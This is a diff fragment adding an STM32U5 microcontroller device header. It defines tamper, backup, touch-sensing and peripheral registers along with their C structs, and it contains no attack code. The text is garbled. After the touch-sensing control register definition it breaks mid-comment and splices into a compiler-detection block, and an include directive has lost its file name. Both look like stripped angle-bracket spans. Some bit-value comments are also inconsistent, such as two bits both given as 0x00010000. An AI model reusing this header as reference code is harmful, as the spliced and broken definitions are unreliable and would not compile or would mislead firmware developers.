TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief AES hardware accelerator + */ +typedef struct +{ + __IO uint32_t CR; /*!< AES control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< AES status register, Address offset: 0x04 */ + __IO uint32_t DINR; /*!< AES data input register, Address offset: 0x08 */ + __IO uint32_t DOUTR; /*!< AES data output register, Address offset: 0x0C */ + __IO uint32_t KEYR0; /*!< AES key register 0, Address offset: 0x10 */ + __IO uint32_t KEYR1; /*!< AES key register 1, Address offset: 0x14 */ + __IO uint32_t KEYR2; /*!< AES key register 2, Address offset: 0x18 */ + __IO uint32_t KEYR3; /*!< AES key register 3, Address offset: 0x1C */ + __IO uint32_t IVR0; /*!< AES initialization vector register 0, Address offset: 0x20 */ + __IO uint32_t IVR1; /*!< AES initialization vector register 1, Address offset: 0x24 */ + __IO uint32_t IVR2; /*!< AES initialization vector register 2, Address offset: 0x28 */ + __IO uint32_t IVR3; /*!< AES initialization vector register 3, Address offset: 0x2C */ + __IO uint32_t KEYR4; /*!< AES key register 4, Address offset: 0x30 */ + __IO uint32_t KEYR5; /*!< AES key register 5, Address offset: 0x34 */ + __IO uint32_t KEYR6; /*!< AES key register 6, Address offset: 0x38 */ + __IO uint32_t KEYR7; /*!< AES key register 7, Address offset: 0x3C */ + __IO uint32_t SUSP0R; /*!< AES Suspend register 0, Address offset: 0x40 */ + __IO uint32_t SUSP1R; /*!< AES Suspend register 1, Address offset: 0x44 */ + __IO uint32_t SUSP2R; /*!< AES Suspend register 2, Address offset: 0x48 */ + __IO uint32_t SUSP3R; /*!< AES Suspend register 3, Address offset: 0x4C */ + __IO uint32_t SUSP4R; /*!< AES Suspend register 4, Address offset: 0x50 */ + __IO uint32_t SUSP5R; /*!< AES Suspend register 5, Address offset: 0x54 */ + __IO uint32_t SUSP6R; /*!< AES Suspend register 6, Address offset: 0x58 */ + __IO uint32_t SUSP7R; /*!< AES Suspend register 7, Address offset: 0x5C */ + uint32_t RESERVED1[168];/*!< Reserved, Address offset: 0x60 -- 0x2FC */ + __IO uint32_t IER; /*!< AES Interrupt Enable Register, Address offset: 0x300 */ + __IO uint32_t ISR; /*!< AES Interrupt Status Register, Address offset: 0x304 */ + __IO uint32_t ICR; /*!< AES Interrupt Clear Register, Address offset: 0x308 */ +} AES_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 